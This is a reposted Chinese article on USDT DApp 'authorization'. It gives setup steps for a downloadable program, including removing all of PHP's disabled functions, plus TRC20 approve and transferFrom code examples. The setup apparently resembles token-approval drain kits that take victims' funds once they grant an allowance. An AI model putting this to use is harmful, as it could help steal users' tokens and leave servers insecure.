一、安装需求
AAA.com
bbb.com
ccc.com
需要三个域名
1、安装环境
a .服务器 centos7以上
//软件商店
b.nginx1.2以上
c.php7.3版本
c1.安装php扩展 redis和gmp
c2.删除所有php禁用函数(宝塔的软件商店,点击php设置,禁用函数,点击删除)
d.mysql5.7 + phpMyAdmin
e.redis6.26 或者reids5+
1.设置redis密码 (如果不设置 REDIS_PASSWORD=)
环境配置完成,即可上线程序。
调用TRC20合约的approve函数授权代币使用权给其他地址
2、HTTP API :
demo:向某个
wallet/triggersmartcontract
curl -X POST https://127.0.0.1:8090/wallet/triggersmartcontract -d '{
"contract_address":"419E62BE7F4F103C36507CB2A753418791B1CDC182",
"function_selector":"approve(address,uint256)",
"parameter":"0000000000000000000000410FB357921DFB0E32CBC9D1B30F09AAD13017F2CD0000000000000000000000000000000000000000000000000000000000000064",
"fee_limit":100000000,
"call_value":0,
"owner_address":"41977C20977F412C2A1AA4EF3D49FEE5EC4C31CDFB"
}'
3、实现功能与页面:
下载链接:网盘下载
二、调用TRC20合约的transferFrom函数实现转账,配合approve方法使用
JAVA Tronweb示例:文章来源:https://www.toymoban.com/news/detail-815903.html
const TronWeb = require('tronweb')
const HttpProvider = TronWeb.providers.HttpProvider;
const fullNode = new HttpProvider("https://127.0.0.1:8090");
const solidityNode = new HttpProvider("https://127.0.0.1:8090");
const eventServer = new HttpProvider("https://127.0.0.1:8090");
const privateKey = "your private key";
const tronWeb = new TronWeb(fullNode,solidityNode,eventServer,privateKey);
async function triggerSmartContract() {
// Address B transfers 10 USDT from address A to C: B calls transferFrom (A, C, 10)
const trc20ContractAddress = "TQQg4EL8o1BSeKJY4MJ8TB8XK7xufxFBvK";//contract address
try {
let contract = await tronWeb.contract().at(trc20ContractAddress);
//Use send to execute a non-pure or modify smart contract method on a given smart contract that modify or change values on the blockchain.
// These methods consume resources(bandwidth and energy) to perform as the changes need to be broadcasted out to the network.
await contract.transferFrom(
"TM2TmqauSEiRf16CyFgzHV2BVxBej...", //address _from
"TVDGpn4hCSzJ5nkHPLetk8KQBtwaT...", //address _to
100000 //amount
).send({
feeLimit: 10000000
}).then(output => {console.log('- Output:', output, '\n');});
} catch(error) {
console.error("trigger smart contract error",error)
}
}
下载页面文章来源地址https://www.toymoban.com/news/detail-815903.html
到了这里,关于USDT/DAPP授权原理/USDT接口实现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!